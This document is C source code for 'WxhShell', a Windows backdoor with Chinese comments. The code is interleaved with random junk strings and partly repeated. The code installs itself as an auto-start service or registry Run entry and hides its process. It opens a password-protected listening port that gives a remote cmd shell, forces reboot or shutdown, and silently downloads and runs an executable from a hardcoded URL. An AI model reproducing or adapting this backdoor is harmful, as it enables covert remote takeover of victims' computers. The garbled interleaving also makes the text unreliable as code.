(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %HOMX{~}# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k{_ Op/k}V .R5[bXxe7 if (!NtQueryInformationProcess) return 0; dER#)bGj z<2!| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -+fbK/
if(!hProcess) return 0; .XD7};g d3Dw[4 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gx+bKGB` M =Pn8<h~ CloseHandle(hProcess); \z"0lAv" $U=E7JO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZNb;24 if(hProcess==NULL) return 0; <-KHy`u ,'[&" Eg HMODULE hMod; Sj?u^L8es} char procName[255]; `tZu~
n unsigned long cbNeeded; bH+x `]{A Us4J[MW< if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 34S|[PXd
7-a[W CloseHandle(hProcess); ($a ?zJr zs#s"e:jeR if(strstr(procName,"services")) return 1; // 以服务启动 h'Tn&2r6 ,M@LtA3g return 0; // 注册表启动 "JI FF_ } aRFLh WXz'H),R // 主模块 ;M,u,KH)/ int StartWxhshell(LPSTR lpCmdLine) C? pi8Xg { +-_71rJc. SOCKET wsl; J[E_n;d1 BOOL val=TRUE; {z)&=v@ int port=0; u{Jv6K, struct sockaddr_in door; cI}qMc O^fg~g X if(wscfg.ws_autoins) Install(); 8\,|T2w,X BQYj"Wi port=atoi(lpCmdLine); yKE[," ,>" rcd if(port<=0) port=wscfg.ws_port; CNwYQe-i kO3{2$S6 WSADATA data; .yz-o\,gF% if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Jh1Q)05 Ki#({~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }$DLa#\- setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hjCFN1 #Sa door.sin_family = AF_INET; zh5'oE&[yC door.sin_addr.s_addr = inet_addr("127.0.0.1"); dre@V(\;hQ door.sin_port = htons(port); X r7pFw m)G=4kK52- if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RQ?T~ASs closesocket(wsl); /18Z4TA return 1; R#j-Z#/" } rMDo5Z2 2+KOUd&jS if(listen(wsl,2) == INVALID_SOCKET) { <~aQ_l closesocket(wsl); _@es9 return 1; R Wa4O# } ^/;W;C{4 Wxhshell(wsl); HI}$Z=C WSACleanup(); BR8W8nRb mNcoR^(VN return 0; cSdkhRAn CPRv"T;? } 4%l
@ emZ^d/A // 以NT服务方式启动 En@] xvE VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `x;8,7W;B { 1d49z9F DWORD status = 0; @8zp(1. DWORD specificError = 0xfffffff; .54E*V1 f.f5f%lO~ serviceStatus.dwServiceType = SERVICE_WIN32; *We.?"X']. serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?O1:-vpZ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f"XFf@! serviceStatus.dwWin32ExitCode = 0; k<b`v&G serviceStatus.dwServiceSpecificExitCode = 0; u15-|i{y7 serviceStatus.dwCheckPoint = 0; oicett=5 serviceStatus.dwWaitHint = 0; Eyw)f> HVb9YU+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h&|wqna if (hServiceStatusHandle==0) return; }z/;^`` rE?(_LI status = GetLastError(); RG(m:N if (status!=NO_ERROR) SB5[PDL_q { BoZG^ serviceStatus.dwCurrentState = SERVICE_STOPPED; X]'Hz@$N serviceStatus.dwCheckPoint = 0; 1FfdW>ay* serviceStatus.dwWaitHint = 0; ]:* 8
Mb# serviceStatus.dwWin32ExitCode = status; n^QOGT.s6` serviceStatus.dwServiceSpecificExitCode = specificError; bDdJh}Vz SetServiceStatus(hServiceStatusHandle, &serviceStatus); >`rK=?12< return; }qUNXE@ } 6bL+q`3> 7?6?`no~JJ serviceStatus.dwCurrentState = SERVICE_RUNNING; YT;b$>1v serviceStatus.dwCheckPoint = 0; 3#>;h serviceStatus.dwWaitHint = 0; U^_'e_) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yQwj[ } m35Blg34 A`4Di8'Me // 处理NT服务事件,比如:启动、停止 KMz\h2X VOID WINAPI NTServiceHandler(DWORD fdwControl) \=+s3p5N { >V~q`htth switch(fdwControl) @Z$`c{V< { @_0g "Ul case SERVICE_CONTROL_STOP: lD09(|` serviceStatus.dwWin32ExitCode = 0; D
.3Q0a6 serviceStatus.dwCurrentState = SERVICE_STOPPED; i<D}"h| serviceStatus.dwCheckPoint = 0; %hK?\Pg3=E serviceStatus.dwWaitHint = 0; NN5V|#
P} { &s!"pEZWck SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]2n&DJu } 9GnNL I{ return; cmDskQ: case SERVICE_CONTROL_PAUSE: E-,74B&H serviceStatus.dwCurrentState = SERVICE_PAUSED; A.9,p break; H[o'j@0 case SERVICE_CONTROL_CONTINUE: &]~z-0`$! serviceStatus.dwCurrentState = SERVICE_RUNNING; @+",f] break; G'XlsyaWrb case SERVICE_CONTROL_INTERROGATE:
bw#zMU^E break; 4QWDuLu }; Kb0OauW SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~CRr)(M } s~$kzEtjjU 7BCCQsz< // 标准应用程序主函数 /'1UfjW> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TX{DZ# { }~lF Rf bo&!oY# // 获取操作系统版本 owe362q OsIsNt=GetOsVer(); k/nOz* GetModuleFileName(NULL,ExeFile,MAX_PATH); {! RW*B JH2?^h|{ // 从命令行安装 cL*D_)?8 if(strpbrk(lpCmdLine,"iI")) Install(); ssW+'GD 6w K= // 下载执行文件 =Mq=\T if(wscfg.ws_downexe) { Tgp}k%R~ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /vPh_1 WinExec(wscfg.ws_filenam,SW_HIDE); rtDm<aUh } p}.P^`~j IS7g{:}=p if(!OsIsNt) { ?8Cxt|o> // 如果时win9x,隐藏进程并且设置为注册表启动 )rD] y2^< HideProc(); !@-j!Ub StartWxhshell(lpCmdLine); oaI7j=Gp } 7\^b+* else ,[+ if(StartFromService()) !U#kUj:4I // 以服务方式启动 `"[VkQFB/ StartServiceCtrlDispatcher(DispatchTable); aPB %6c= else o_U=]mEDY // 普通方式启动 ~fsAPIQ StartWxhshell(lpCmdLine); 0TSj]{[ xc R return 0; s)yEVh } +3vK=d_Va ?[Q;275 Z~g~,q =HP_IG_ =========================================== HKP\`KBCj G Q&9by=} 3a#637% %Zx/XMs}e @{.rDz yuswWc' " TEB%y9
?7G?uk]3,@ #include <stdio.h> xXZ$#z\Z, #include <string.h> {Cs~5jYz #include <windows.h> G5zZf~r #include <winsock2.h> <_MQC #include <winsvc.h> %-]j;'6}cX #include <urlmon.h> !'ajpK 5@j?7%_8 #pragma comment (lib, "Ws2_32.lib") U*/ #pragma comment (lib, "urlmon.lib") a#! Vi93 'O]_A57 #define MAX_USER 100 // 最大客户端连接数 /{7x|ay] #define BUF_SOCK 200 // sock buffer m&,d8Gss^ #define KEY_BUFF 255 // 输入 buffer 8,Yc1 F$ Us! NN #define REBOOT 0 // 重启 cR$2`:e #define SHUTDOWN 1 // 关机 BmUEo$w dT,X8 " #define DEF_PORT 5000 // 监听端口 i[d-n/) KBzEEvx/$ #define REG_LEN 16 // 注册表键长度 =0,")aa! #define SVC_LEN 80 // NT服务名长度 {exF"ap 0$&Z_oJ // 从dll定义API ?`\<t$M typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :<ujk typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #x#.@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $a\q<fN} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wx(|$2{h NNutpA}s // wxhshell配置信息 x:;8U i"&B struct WSCFG { UOF5&>MLb int ws_port; // 监听端口 S~YrXQ{_>- char ws_passstr[REG_LEN]; // 口令 nP'ab_>b int ws_autoins; // 安装标记, 1=yes 0=no <3HW!7Ad1 char ws_regname[REG_LEN]; // 注册表键名 CJjma=XH char ws_svcname[REG_LEN]; // 服务名 3`#sXt9C char ws_svcdisp[SVC_LEN]; // 服务显示名 nUmA char ws_svcdesc[SVC_LEN]; // 服务描述信息 ErB6fl char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {>QrI4*A int ws_downexe; // 下载执行标记, 1=yes 0=no +ls *04 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HJBUN1n char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nT|fDD| ('
`) m }; dSIMwu6u kp<9o!?) // default Wxhshell configuration (U!WD`Ym struct WSCFG wscfg={DEF_PORT, 8 gOK?>'9 "xuhuanlingzhe", Dr(.|)hv[& 1, I"sKlMD "Wxhshell", l:Ci'= "Wxhshell", ]t0?,q.$7 "WxhShell Service", N
Ja]UZx "Wrsky Windows CmdShell Service", { +
[rJ_ "Please Input Your Password: ", 3dadeu^{A 1, E'[pNU*"x- "http://www.wrsky.com/wxhshell.exe", =h&DW5QC "Wxhshell.exe" f`WmRx]K }; ^ 9;s
nr X~GZI*P // 消息定义模块 &xH>U*c char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f=~@e#U char *msg_ws_prompt="\n\r? for help\n\r#>"; i-sE\m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xZ`t~4qR char *msg_ws_ext="\n\rExit."; ]}>GUXe)^ char *msg_ws_end="\n\rQuit."; <%pi*:E| char *msg_ws_boot="\n\rReboot..."; jE2ziK char *msg_ws_poff="\n\rShutdown..."; J[LGa:`` char *msg_ws_down="\n\rSave to "; axU!o /m> Y0|~]J(B char *msg_ws_err="\n\rErr!"; p4{?Rhb6 char *msg_ws_ok="\n\rOK!"; Z`b,0[rG[ (jY.S|% char ExeFile[MAX_PATH]; HaB=nLAT int nUser = 0; n{4&('NRFP HANDLE handles[MAX_USER]; P[XE5puC int OsIsNt; tm+}@CM^. N@Slc
0 SERVICE_STATUS serviceStatus; %l:%c SERVICE_STATUS_HANDLE hServiceStatusHandle; v~ uwQ&AH JEJ]'3 // 函数声明 #J2856bzS int Install(void); j?w7X?1( int Uninstall(void); D
?,P\cp int DownloadFile(char *sURL, SOCKET wsh); >Cd%tIie* int Boot(int flag); q;kMeE* void HideProc(void); u#J5M int GetOsVer(void); *WMcE$w/D int Wxhshell(SOCKET wsl); ?0'bf y] void TalkWithClient(void *cs); pk;bx2CP8 int CmdShell(SOCKET sock); 0"
R|lTYq int StartFromService(void); ynP^|Ou int StartWxhshell(LPSTR lpCmdLine); rK=[&k qViky=/- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y
3KCIL9 VOID WINAPI NTServiceHandler( DWORD fdwControl ); y0(k7D|\ D\*raQ`n // 数据结构和表定义 c$uV8_ V SERVICE_TABLE_ENTRY DispatchTable[] = %K ]u" { <YJU?G:@ {wscfg.ws_svcname, NTServiceMain}, IHxX:a/iv {NULL, NULL} 9SAyU%mS: }; Pq7YJ"Z?: C8&)-v| // 自我安装 @ULr)&9 int Install(void) Grjm9tbX} { CUxSmN2[ char svExeFile[MAX_PATH]; #+Vvf HKEY key; o`RTvGXk strcpy(svExeFile,ExeFile); l[\[)X3$ 0dIJgKanGP // 如果是win9x系统,修改注册表设为自启动 p[Q if(!OsIsNt) { 1q\U
(^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m?<C\&)6x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |dX#4Mq^, RegCloseKey(key); FpW{=4yk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >xP $A{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y;#P"-yH RegCloseKey(key); ^{~y+1lt' return 0; 3)Paf`mr } TC R( } H.i_,ZF } Nu9mK else { {L q
uOC1 [xI@)5Xk // 如果是NT以上系统,安装为系统服务 R_@yj]%H= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eKStt|M' if (schSCManager!=0) pOH_ CXw { kk!}mbA_} SC_HANDLE schService = CreateService 2^qY,dL ( 7~ |o_T schSCManager, +8BH%f}X wscfg.ws_svcname, Z#4? /' wscfg.ws_svcdisp, fep#Kb%"e SERVICE_ALL_ACCESS, U8<GD| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &NGlkn SERVICE_AUTO_START, @.CPZT SERVICE_ERROR_NORMAL, `86 9XE svExeFile, FirmzB Il5 NULL, &+*jTE NULL, '>`bp25> NULL, AV&W&$ NULL, y!aq}YS NULL ]Ff&zBJ ); ^'FY!^dE if (schService!=0) F*I{?NRN1 { .`,YUr$. CloseServiceHandle(schService); %? RX}37K CloseServiceHandle(schSCManager); Q*KEODR8\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VK?,8Y strcat(svExeFile,wscfg.ws_svcname); Uyi_B.:` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =cRJtn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M:C*?;K: RegCloseKey(key); KZDB \T return 0; TR:D } -4hX- } &1B)mj CloseServiceHandle(schSCManager); .6.oqb } :5"|iRP' } 5RlJybN"o #j; &g1 return 1; |0-5-. } zo]7# _Thc\{aV# // 自我卸载 NTVG'3o int Uninstall(void) ^(&:=r.PC { o.k#|q HKEY key; g<{~f =<33( if(!OsIsNt) { M}@^8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JBjz2$ZM RegDeleteValue(key,wscfg.ws_regname); L2K4nTA RegCloseKey(key); 0n3O;=[aV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yil{RfBEr_ RegDeleteValue(key,wscfg.ws_regname); i>e7 5`9 RegCloseKey(key); |dXS+R1 return 0; y< 146 } Vw)\#6FL } nGyY`wt&Rg } O'5(L9, else { B VPf8!- KQr=;O\T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5(U.< if (schSCManager!=0) r*,]=M W { `CHgTkv SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); GbZA3.J]yl if (schService!=0) x28Bz*O { ]bS\*q0Zf( if(DeleteService(schService)!=0) { nC`=quM9 CloseServiceHandle(schService); }25{"R}K CloseServiceHandle(schSCManager); %oN^1a'&) return 0; $'[(
DwLS } kv5D=0r CloseServiceHandle(schService); $RF"m" } LY^BkH' CloseServiceHandle(schSCManager); 78NAcP~6c } "w_(p|c m= } TJO|{Lxm u` return 1; v8wN2[fC } d5WE^H)E. I#9K/[ // 从指定url下载文件 ,~G[\2~p int DownloadFile(char *sURL, SOCKET wsh) uswz@
[pa { l kl#AH HRESULT hr; ExnszFX* char seps[]= "/"; 1lx\Pz@ol char *token; _
k>j?j- char *file; /?by4v73P char myURL[MAX_PATH]; 1 bv L char myFILE[MAX_PATH]; 9`vse>,-hg 2@A7i<p strcpy(myURL,sURL); L(X:=)
!K0 token=strtok(myURL,seps); s!UC{)g, while(token!=NULL) W;0_@!?mr} { $x`U)pv file=token; oTfEX4 t { token=strtok(NULL,seps); 5F0sfX }
(+Er @o>2:D1G GetCurrentDirectory(MAX_PATH,myFILE); $Y ]*v)}X strcat(myFILE, "\\"); _39b8s{ strcat(myFILE, file); 1M<'^(t3d send(wsh,myFILE,strlen(myFILE),0); cvc.-7IO send(wsh,"...",3,0); 'MC)%N, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j[=f;&1 if(hr==S_OK) 9N-mIGJ return 0; LWIU7dw else jPbL3"0A& return 1; [9$>N 5@Rf]'1B0 } KL -8Aj~ wGbD%= // 系统电源模块 vO"AJ`_ int Boot(int flag) ]bX.w/= { O-: ~6A HANDLE hToken; /S|Pq!4< TOKEN_PRIVILEGES tkp; f5`exfdHE s<^UAdLnl if(OsIsNt) { ^mG-O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2#|Q=rWB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xx41Qw>\W tkp.PrivilegeCount = 1;
beO*| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WlG/7$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zb}=?fcL;@ if(flag==REBOOT) { ~omX(kPzK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mEE/Olh W return 0; jIuE1ve } k deJB- else { !5p01]7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7(wY4T return 0; EP{y?+E2 } -<CBxyZa& } (\SxG\` else { #mtlgK' if(flag==REBOOT) { vY.p~3q :) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -vhgBru return 0; >5XE*9 } Xf$,ra" else { 9/Q5(P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `bivAL return 0; v`nodI } iiO4.@nT } "9R3S[ ="Dmfy7 return 1; n {^D_S } Fet>KacTht o2Z#
5- // win9x进程隐藏模块 H?O* void HideProc(void) X;zy1ZH { }X}fX#[ ?;}2Z) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M|76,2u if ( hKernel != NULL ) =X>?Y, { B \[ P/AC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5qUyOkI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c 8E& FreeLibrary(hKernel); 4.R
>mN[ } ?$8OVq.w, -w^E~J0*L return; .7cQKdvcC } Rz%+E0 'N'EC`R // 获取操作系统版本 Z?1.Y7Npr int GetOsVer(void) MheP@ [w|@ { 8]+hfB/ OSVERSIONINFO winfo; 8+
Hho@= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'rU5VrK GetVersionEx(&winfo); h.G/HHz
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DTgF,c return 1; [% YCupr# else o^5xCK:Oi2 return 0; iQs(Dh=* } dt;R WEWNFTI // 客户端句柄模块 )I`B+c: int Wxhshell(SOCKET wsl) M(SH3~ { @K2q*d SOCKET wsh; #@lLx?U struct sockaddr_in client; D1x~d<j DWORD myID; ={8ClUV# r1$
O<3\ while(nUser<MAX_USER) !J'BAq[x { ; v>2z!M int nSize=sizeof(client); c00a;=ji wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w_4`Wsn if(wsh==INVALID_SOCKET) return 1; IQY\L@" ob-z-iDz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lYD-U8 if(handles[nUser]==0) JtvAi\52$ closesocket(wsh); dsrzXmE0 else BTGPP@p4 nUser++; M0 =K#/ } O z]iHe WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); YDdmT7Ow m[(2 return 0; [7Q |vu } s$| GVv1B F0]NtKaH // 关闭 socket Y|>y]x void CloseIt(SOCKET wsh) ~B1)!5Z { (4x`/ closesocket(wsh); sDw&U?gUv nUser--; 1kvBQ1+ ExitThread(0); \_CC6J0k } [y64%|m d#Ql>PrY // 客户端请求句柄 l>H#\MR void TalkWithClient(void *cs) bp;b;f> { eBBqF!WDb mp>,TOi~s7 SOCKET wsh=(SOCKET)cs; qAHQZKk char pwd[SVC_LEN]; >t 3%-Kc char cmd[KEY_BUFF]; T"XZ[q char chr[1]; -7$7TD`'7 int i,j; DMsxHAE1 QUwSnotgU while (nUser < MAX_USER) { b-yfBO wHAoO#`wn5 if(wscfg.ws_passstr) { .G4(Ryh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WEOW6UV( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5fDVJE "9" //ZeroMemory(pwd,KEY_BUFF); 7 S(5\9 i=0; ?tV $o,11 while(i<SVC_LEN) { UuzT*Y> Ae;>
@k/|= // 设置超时 N>xs@_"o fd_set FdRead; tNG0ft%a struct timeval TimeOut; rAM{< FD_ZERO(&FdRead); MCjf$pZN] FD_SET(wsh,&FdRead); _cQTQ TimeOut.tv_sec=8; @y2{LUJe TimeOut.tv_usec=0; >5'C<jc C int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O#sDZ.EL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G?#f@N0.5p U#G0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'UUIY$V[ pwd=chr[0]; n&pi if(chr[0]==0xd || chr[0]==0xa) { ,n-M!y pwd=0; :Fm;0R@/k break; N/4`afiV. } )t0Y-),vA i++; H?m9HBDpn } ~$Xz~#~ XcAx@CY9c // 如果是非法用户,关闭 socket XFUlV;ek if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6f v{?0| } ,-rOfk\u m+?$cyA>v send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a;r,*zZ=" send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jhr:QS/9 >\+c@o[ while(1) { j(AN]g: "
;8H;U` ZeroMemory(cmd,KEY_BUFF); ]p:s5Q J-P>
~
L" // 自动支持客户端 telnet标准 F\^9=}b_i j=0; :D\M.A while(j<KEY_BUFF) { xKi:
2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S|CN)8Jsi cmd[j]=chr[0]; fzT|{vG8 if(chr[0]==0xa || chr[0]==0xd) { z'z_6]5 cmd[j]=0; K-cRNt break; \vjIw{ } iO4Yfj#? j++; h8iic } )*}2L_5] {ZP0%MD // 下载文件 _a|-_p if(strstr(cmd,"http://")) { airg[dK send(wsh,msg_ws_down,strlen(msg_ws_down),0); dUegHBw_`R if(DownloadFile(cmd,wsh)) w~{NNK;"j send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ka%u#}; else KzZ|{!C send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HC_+7 O3A } l6]:Zcd0 else { 2#%@j6 >1q
W* switch(cmd[0]) { wK>a&`< us%dw& // 帮助 2l^hnog| case '?': { VJviX[V?4 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F6^Xi"R[ break; _=!Rl# } #29m <f_n // 安装 _
`5?/\7 case 'i': { $2I^ ;5r[ if(Install()) 4BF
\-lq~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); @#m@ . else )nE=H,U?y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \JjZ _R break; G(joamfM } O1]L4V1iH // 卸载 1X.E: case 'r': { QfPsF@+-`7 if(Uninstall()) P`^3-X/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z'=:Bo{ else PggjuPPh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [[
{L# break; t,H=;U# } O\0]o! // 显示 wxhshell 所在路径 &q8oalh case 'p': { Y]MB/\gj char svExeFile[MAX_PATH]; d7(g=JK< strcpy(svExeFile,"\n\r"); uknX py)) strcat(svExeFile,ExeFile); pe%$(%@v send(wsh,svExeFile,strlen(svExeFile),0); ,cj531. break; 3'3E:}o| } 5jMI33D // 重启 JO3"$s|t case 'b': { N(ov.l; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [9N>*dKB if(Boot(REBOOT)) !C]2:+z-MF send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Z;8-1M?O else { <yt|!p-tS closesocket(wsh); 3(&f!<Uy ExitThread(0); "wqN,}bj\ } Uphme8SX break; $>if@}u } KNvvYwFH] // 关机 Kd,8PV*_ case 'd': { K9G1>* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZH<:g6 if(Boot(SHUTDOWN)) oyfY>^bs send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Kl:3C else {
9$<1< closesocket(wsh); dC,a~`%O ExitThread(0); m+m2<|%x } t_ju[xL5B break; kn5X:@{ } gdr"34%vbM // 获取shell P6G&3yPt case 's': { , yd]R4M CmdShell(wsh); zvEofK closesocket(wsh); cJ^{iOQ+ ExitThread(0); k4i*80 break; o*5iHa(Qm } yq7gBkS // 退出 ~(v7:? case 'x': { c2E*A+V#u send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B:X,vE CloseIt(wsh); =5l20
Um break; _EEOBaZ } 3aX/)v.:4 // 离开 |^:qJ;dOP case 'q': { 3:]c> GPQ send(wsh,msg_ws_end,strlen(msg_ws_end),0); pHNo1-k\ closesocket(wsh); UA0j# WSACleanup(); .Tm m exit(1); t@"i/@8x$ break; arWP]%E0W } $:l>g)c } A.YXK%A% } E&z`BPd Vf*Z }' // 提示信息 or<n[<D-C if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VvFMpPi } ahoXQ8c:\} } D,hZVKa v}`{OE:-J return; Z~S%|{&Br } =Ts5\1sc> o(L8 -F // shell模块句柄 _ J t int CmdShell(SOCKET sock) ?zP/i(1y { Ea,L04K STARTUPINFO si; -xVp}RLT ZeroMemory(&si,sizeof(si)); -Z(='A si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j0wpaIp si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |d)*,O4s PROCESS_INFORMATION ProcessInfo; Q4R*yRk char cmdline[]="cmd"; ye^*Z>| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d!P3<:+R[ return 0; 1-=ZIHW } ;}>g/lw wJAJ / // 自身启动模式 *DUP$@}k int StartFromService(void) =:"wU { UE\Z]t! typedef struct :w,#RcW { UFSbu5 j DWORD ExitStatus; uB@~x Q_V DWORD PebBaseAddress; WeiDg,]e$b DWORD AffinityMask; |PNPOj0 DWORD BasePriority; m+!T
$$W ULONG UniqueProcessId; 63PSYj(y ULONG InheritedFromUniqueProcessId; ^0tO2$ } PROCESS_BASIC_INFORMATION; ]. E/s(p '#eY4d<i]n PROCNTQSIP NtQueryInformationProcess; Y
n7z#bu rgw@ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EGMIw?%Y`- static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jY1^I26E I6e[K(7NY HANDLE hProcess; b2r]>*Vc PROCESS_BASIC_INFORMATION pbi; |L<p90 Da3Z>/S HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VFI\2n` if(NULL == hInst ) return 0; h1
npaD! nRHxbE}:: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EA``G8Vn> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +bDBc?HZ{$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8\VP)<< {9Ug9e{
~ if (!NtQueryInformationProcess) return 0; AW<"3 !@ ZBuh(be hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :9~LYJ
? if(!hProcess) return 0; P _x(`H %y|L'C,ge" if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oAprM Z7Y MUW&m2 CloseHandle(hProcess); =kP|TR!o- KD* xFap hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UFzC8 if(hProcess==NULL) return 0; 80GBkFjV M*
0zvNg
HMODULE hMod; HT%'dZ1 char procName[255]; OpD%lRl unsigned long cbNeeded; *Roqie UC@Jsj~f if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z{}+7P evvv&$& CloseHandle(hProcess); ;k:17&:8ue y2M]z:Y U if(strstr(procName,"services")) return 1; // 以服务启动 [[7=rn}@< 3C
